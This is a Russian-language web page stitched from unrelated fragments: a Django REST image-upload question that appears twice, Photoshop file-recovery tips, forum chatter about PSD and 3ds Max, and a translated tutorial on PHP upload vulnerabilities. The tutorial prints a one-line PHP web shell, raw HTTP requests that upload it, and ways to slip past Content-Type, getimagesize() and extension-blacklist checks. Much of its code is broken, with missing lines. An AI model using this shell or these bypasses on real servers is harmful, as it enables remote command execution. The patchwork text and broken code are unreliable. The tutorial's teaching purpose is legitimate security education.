Загруженный файл не является корректным файлом
Я склоняюсь к тому, как загружать файл в Django, и здесь я сталкиваюсь с непростой задачей с ошибкой:
Представленные данные не были файлом. Проверьте тип кодировки в форме.
Ниже представлена подробная информация.
Примечание: Я также рассмотрел Django Rest Framework ImageField, и я попробовал
TypeError: __init__() получил неожиданный аргумент ключевого слова 'files'
У меня есть модель Image , с которой я бы хотел взаимодействовать с помощью структуры Django REST:
Передняя часть (используя AngularJS и angular-restmod или $resource ) отправляет JSON данные с owner и Image формы:
В бэкэнде request.data отображается
Но тогда ImageSerializer(data=request.data).errors показывает ошибку
EDIT: JS часть
Связанные коды front end состоят из двух частей: a angular-file-dnd directive (доступно здесь) для удаления файла на страницу и angular-restmod , который предоставляет операции CRUD:
Обновление проблемы: прямо сейчас я переключился на ng-file-upload , который отправляет данные изображения в надлежащем формате.
Восстановите файл
В случае повреждения файла иногда можно восстановить его вместе со слоями или в виде композитного (сведенного) файла. Внешний вид файла сохраняется, но слои будут потеряны. Иногда повреждение файла необратимо. Если вы регулярно выполняли архивирование, вы можете получить версию файла, сохраненную до повреждения.
Примечание. Композитное изображение невозможно восстановить из файла в том случае, если в установках Photoshop был отключен параметр «Максимизировать совместимость файлов PSD и PSB». Чтобы файлы всегда сохранялись в композитном формате, выполните следующие действия:
Попробуйте любой из следующих вариантов, чтобы восстановить файл:
Определите причину
Во-первых, следует определить, ограничено ли повреждение одним файлом или распространяется на несколько, чтобы снизить потенциальный ущерб данных.
Если поврежден только один файл, возможно, на компьютере произошел сбой, который вы не заметили или решили, что он не связан с данным файлом.
Если повреждено несколько файлов, ищите определенные закономерности:
- Распространяется ли повреждение только на файлы в одном местоположении (папка, жесткий диск, сеть или съемный носитель)?
- Были ли файлы созданы или изменены примерно в одно и то же время?
- Были ли какие-либо изменения в компьютере во время последнего изменения файлов?
- Проявляется ли повреждение файлов при их печати так же, как при их просмотре на экране?
Если вы видите закономерность, которая указывает на то, что файлы связаны с общим оборудованием, проверьте кабели, попробуйте другой разъем или используйте другой жесткий диск, или же попробуйте применить жесткий диск вместо сетевого.
Если файлы были повреждены недавно и не имеют ограничений по времени, возможно, модуль ОЗУ функционирует неправильно.
Если вы добавили на компьютер программное обеспечение примерно в то же время, в которое произошло повреждение изображений, возможно, имеется проблема с приложением или обновлением. Проверьте наличие обновлений для программного обеспечения или наоборот проверьте, не были ли приложения недавно обновлены, или отключите конкретные приложения. Изредка случается так, что антивирусное программное обеспечение, программы для резервного копирования или приложения для управления шрифтами вносят изменения в файлы до их сохранения, что вызывает повреждение.
Если повреждение изображений проявляется только на экране (не распространяется на распечатанные материалы), обновите драйвер дисплея. Если в результате не удается устранить проблему, свяжитесь с производителем своей видеокарты.
В Windows см. руководство по общей диагностике Windows, в котором приведены инструкции по удалению временных файлов и отключению всех служб и элементов автозагрузки операционной системы. В нем также содержатся сведения о том, как отключить сторонние внешние модули в Photoshop, удерживая нажатой клавишу Shift сразу же после запуска Photoshop.
Для Mac OS — см. руководство по общей диагностике Mac OS, в котором приведены инструкции по восстановлению разрешений для диска и отключению элементов автозагрузки операционной системы. В нем также содержатся сведения о том, как отключить сторонние внешние модули в Photoshop, удерживая нажатой клавишу Shift сразу же после запуска Photoshop.
Картинка открывается в другой программе, а в фотошопе нет.
Изображение никак нельзя открыть потому что оно зашифровано. Например в ватсапе нельзя сохранять файлы на компьютер. Для открытия картинки её просто можно скопировать, кликнув на изображение правой кнопкой мыши и выбрать пункт: «скопировать изображение».
Тоже самое в интернете, изображение не обязательно сохранять на компьютер. Можно скопировать его прямо в браузере нажав мышкой: копировать изображение. Потом просто открыть фотошоп и создать новый документ или нажать сочетание клавиш Ctrl+N. Если при создании оставить буфер обмена, то новый документ с изображением будет точно таким же размером как и скопированная картинка.
ОТВЕТЫ
Ответ 1
Проблема, с которой вы сталкиваетесь, заключается в том, что инфраструктура Django REST ожидает, что файлы будут загружены в виде данных с несколькими форматами, с помощью стандартных способов загрузки файлов. Это обычно поле file , но объект JavaScript Blob также работает для AJAX.
Вы хотите загрузить файлы с использованием кодированной base64 строки вместо необработанного файла, который не поддерживается по умолчанию. Существуют варианты Base64ImageField там, но наиболее перспективный пришел с помощью запроса на перенос.
Так как они были в основном разработаны для Django REST framework 2.x, я улучшил его с помощью запроса на pull и создал тот, который должен быть совместим с DRF 3.
Это должно использоваться для замены стандартного ImageField , предоставляемого инфраструктурой Django REST. Таким образом, ваш сериализатор станет
Это должно позволить вам указать строку с кодировкой base64 или стандартный объект Blob , который обычно ожидает инфраструктура Django REST.
Ответ 2
Я столкнулся с той же проблемой несколько дней назад. Вот мое представление django rest framework для обработки загрузки файлов
В интерфейсе я использовал angular-file-upload lib.
Вот мой ввод файла
И вот моя служба загрузки
Ответ 3
Я обнаружил, что эта нить пытается загрузить изображения в моем проекте, это делает меня отличной загрузкой при добавлении изображения, нет проблем, проблема возникает при обновлении этой записи, не обязательно для изображения, если не для какого-либо поля, он отправляет мне статус ошибки: 500, statusText: "Internal Server Error". Я снимаю изображение и могу поставить, может кто-нибудь мне помочь в этом?
В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее — это должен знать каждый PHP-разработчик.
Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.
Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.
Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.
Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
$uploaddir = 'uploads/' ; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) echo "File is valid, and was successfully uploaded.\n" ;
> else echo "File uploading failed.\n" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Обычно пользователи будут загружать файлы, используя подобную форму:
* This source code was highlighted with Source Code Highlighter .
Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика), который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.
В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:
Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command
Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.
Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:
print $res->as_string();
* This source code was highlighted with Source Code Highlighter .
И вот что случится при выполнении этого скрипта:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET['command']);
?>
--xYzZY—
После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:
Пример 2 (upload2.php):
if ($_FILES[ 'userfile' ][ 'type' ] != "image/gif" ) echo "Sorry, we only allow uploading GIF images" ;
exit;
>
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) echo "File is valid, and was successfully uploaded.\n" ;
> else echo "File uploading failed.\n" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET['command']);
?>
--xYzZY--
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика). Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
* This source code was highlighted with Source Code Highlighter .
И вот что получится.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET['command']);
?>
--xYzZY—
В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.
Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) echo "File is valid, and was successfully uploaded.\n" ;
> else echo "File uploading failed.\n" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET['command']);
?>
--xYzZY—
Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.jpg содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.
Итак, создадим perl-скрипт для загрузки нашей картинки:
* This source code was highlighted with Source Code Highlighter .
Этот код берет файл crocus.jpg и загружает это с названием crocus.php. Выполнение приведет к следующему:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(. some binary data. )(. skipping the rest of binary data . )
--xYzZY—
Теперь нападавший может выполнить uploads/crocus.php и получить следущее:
Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "" в комментарии GIF.
Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.
Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):
$blacklist = array( ".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) if (preg_match( "/$item\$/i" , $_FILES[ 'userfile' ][ 'name' ])) echo "We do not allow uploading PHP files\n" ;
exit;
>
>
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) echo "File is valid, and was successfully uploaded.\n" ;
> else echo "File uploading failed.\n" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Выражение preg_match ("/$item\$/i", $_FILES['userfile']['name']) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.
Если мы пытаемся загрузить файл c расширением .php, это приведет к ошибке:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(. skipping binary data. )
--xYzZY—
Если мы загружаем файл с расширением .jpg, то оно будет загружено:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.jpg"
Content-Type: image/gif
GIF89(. skipping binary data. )
--xYzZY--
Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:
Комментарии переводчика:
В случае загрузки картинок самым лучшим способом являются не указанные действия, а сохранение файла с расширением, которое получается в результате выполнения функции getimagesize(). В большинстве случаев именно так и происходит. Стоит добавить, что желательно сделать приведение файла к конкретному формату, например jpeg. При приведении метаданные картинки (насколько мне известно) потеряются, обеспечив практически гарантируемую безопастность.
Наличие в загрузке файлов с расширением типа .php нужно проверять вообще в начале работы сайта, и если они есть сразу же их отбрасывать.
Я полагаюсь, как загрузить файл в Django, и здесь я сталкиваюсь с проблемой, которая должна быть тривиальной, с ошибкой:
Представленные данные не были файлом. Проверьте тип кодировки в форме.
Примечание. Я также посмотрел на Django Rest Framework ImageField и пытался
Ошибка типа: __init__() получил неожиданный аргумент ключевого слова 'files'
У меня есть Image модель, с которой я хотел бы взаимодействовать через среду REST Django:
Внешний интерфейс (используя AngularJS и angular-restmod или $resource ) отправляет JSON данные с owner и image в форме:
В серверной части request.data показывает
Но тогда ImageSerializer(data=request.data).errors показывает ошибку
РЕДАКТИРОВАТЬ: JS part
Связанные внешние интерфейсы состоят из двух частей: angular-file-dnd directive (доступно здесь) для перетаскивания файла на страницу и angular-restmod , который обеспечивает операции CRUD:
Обновление, касающееся проблемы: сейчас я переключился на использование ng-file-upload , который отправляет данные изображения в правильном формате.
2 ответа
Проблема, с которой вы сталкиваетесь, заключается в том, что Django REST Framework ожидает, что файлы будут загружены как составные данные формы, используя стандартные методы загрузки файлов. Это обычно поле file >, но JavaScript Blob объект также работает для AJAX.
Вы хотите загрузить файлы с использованием строки в кодировке base64 вместо необработанного файла, который по умолчанию не поддерживается. Существуют реализации Base64ImageField там, но наиболее многообещающие пришел по запросу извлечения.
Так как они в основном были разработаны для Django REST framework 2.x, я улучшил один из запросов на извлечение и создал тот, который должен быть совместим с DRF 3.
Это следует использовать вместо стандартного ImageField , предоставляемого средой REST Django. Так ваш сериализатор станет
Это должно позволить вам либо указать строку в кодировке base64, либо стандартный объект Blob , которого обычно ожидает среда REST Django.
Я столкнулся с той же проблемой несколько дней назад. Вот мой django вид структуры остального для обработки загрузки файла
Здравствуйте, очень надеюсь на помощь.
Необходимо открыть обычный psd файл Photoshop (в нем находится работа над рисунком, на который было потрачено много сил и времени), но при открытии стало вилетать окно, где написано: "НЕВОЗМОЖНО ВЫПОЛНИТЬ ЗАПРОС: ЭТОТ ФАЙЛ НЕ ЯВЛЯЕТСЯ КОРРЕКТНЫМ ДОКУМЕНТОМ PHOTOSHOP". Подскажите, можно ли хоть как-то извлечь содержимое файла и спасти хоть что-то? Буду очень признателен, спасибо.
Фотошоп уже переустанавливали, открывали в другой версии (в CS3, сам файл изначально делался и перестал открываться в CS2). Пробовали открывать в GIMP, все равно не открывается.
Нет, фотошоп исправно работал в этот момент, как впринципе и сейчас, если не считать того, что не открывает этот файл.
если не открывает только этот, а друге открывает, следовательно файл битый, ты не мог случайно переписать формат его?
Руслан Rey Эсмурзаев,
формат обычный psd, я уже голову сломал над тем, как его можно открыть, а очень нужно.
xxx ERY xxx,
не открывает. Вот список, где пробовали открыть и без результата:
Photoshop CS3, CS2, CS4; ACDSee, GIMP
ммм. не знаю и не могу найти в поисковике, как перевести файл (чертеж) из корела в фотошоп, аи - не подходит.
реалистично нарисовать огонь можно только если ты умеешь рисовать очень хорошо, только ручками(если без наложения фоток и тому подобного), а иначе никак, только в максе
Всем привет! Кто знает как можно настроить 3D MAX отображаться на двух мониторах?
- Два монитора оч удобная вешь, и вот думаю как бы теперь MAX на них раскидать.
- и еще. при запуске MAX теперь выскакивает окно MAXScript Debugger - (приодном мониторе такого не было)
Зачем тебе это? Как правило перевод получается корявый, пропадают некоторые функции. Да и почти вся документация по 3d max сделана для ангиской версии)))
ещё перевод некоторых слов не даст никакого эффекта,есть один модификатор shell-ракушка, что он может означать непонятно пока не попробуешь его) мне кажется лучше со словариком первое время посидеть.
утрам 13 ноября 2009 года я как всегда сел за комп. что бы прадолжить рисовать проект в 3 д макс 2008 , и О СВЯТАЯ МАТЬ ИАСАФАТА , вдруг материалы (архитектурные ментал рей ) стали как бы смешиваться ( ПРОИСХОДИЛО в материал эдитор , меняя их от стекла к пластику итд ) ,стекло становилась то чорным то вообще непрозрачным и так со всеми материалами , меняя материалы их настройки менялись сами по себе , но не так как надо . и всегда по разному. они вааще живут своей жиз. , ПОМОГИТЕ . В ЧОМ ДЕЛО . p.s я уже переустанавливал 3д макс УДАЛИВ ВСЕ ПАПКИ в корне . без изминений , ПОМОГИТЕЕЕЕЕЕ . зарание спасибо :( :(
ну Леша !REALBOY! Скопцов всё начинается с концепции ,потом например с 3д макс . потом с моделирования , потом создание материалов для маделей , потом настройка освищения - самое главное для реализма ! потом ещё более главное!! - настройка рендеринга и мощность компа , и знания как этим пользоваться , впринципе достичь реализма картинки это легко ,но маделить и вазица с текстурами и развёртками сложно и нудно , на эту тему много уроков в инете
люди, накачал литературы, там формат файла (.djvu) вы чем его открываете? подскажите программу поудобней и по проще.
DvJuReader\Document express Editor\Profeshional Editor.
---------------------------------------------------------
как в фотошопе быстро сделать ну.. типо зебру. от центра и во все стороны расходится(надеюсь понятно спросил :)☺☻)
Существует множество потенциальных причин повреждения файла:
- Сбой при сохранении файла, особенно в сети или при использовании внешних дисков; непредвиденное отключение электропитания
- Поврежденные кабели
- Проблемы в передаче данных по сети
- Программные ошибки
- Проблемы с жесткими дисками или модулями ОЗУ
Тем не менее, повреждения случаются редко. Если вы обнаружили, что один или несколько файлов повреждены, определите причину этого, чтобы предотвратить возникновение проблем в будущем при попытке восстановления файлов.
Фототошоп не открывает картинку.
Сейчас рассмотрим как решить проблему. Картинка не открывается, выскакивает ошибка: «Невозможно выполнить запрос обнаружен неизвестный или некорректный JPEG-маркер.» Или «Невозможно выполнить запрос этот файл не является корректным документор Photoshop.»
Ошибка возникает с форматом png, если есть прозрачные слои. Фотошоп выдает ошибку: Невозможно выполнить запрос модуль не может интерпретировать файл. Эта проблема уже была описана тут. Сейчас она уже в более развернутом виде.
В этом случае нужно фотошопу явно указать как открывать такие файлы. Нажимаем Файл -> Открыть как или зажимаем сочетание клавиш: Alt+Shift+Ctrl+O
Такой способ подходит чтобы открывать картинки PNG, но с расширением файла IPG. Так вот выходит, что картинка с расширением PNG, но её открыть не получается. Есть еще особая категория фотоаппаратов, внедряющих свой неизвестный формат в массы. Во всех этих случаях нажимаем: Файл-> Открыть как. В выпадающем меню выбираем расширение формата, с помочью которого нужно открыть изображение.
Читайте также: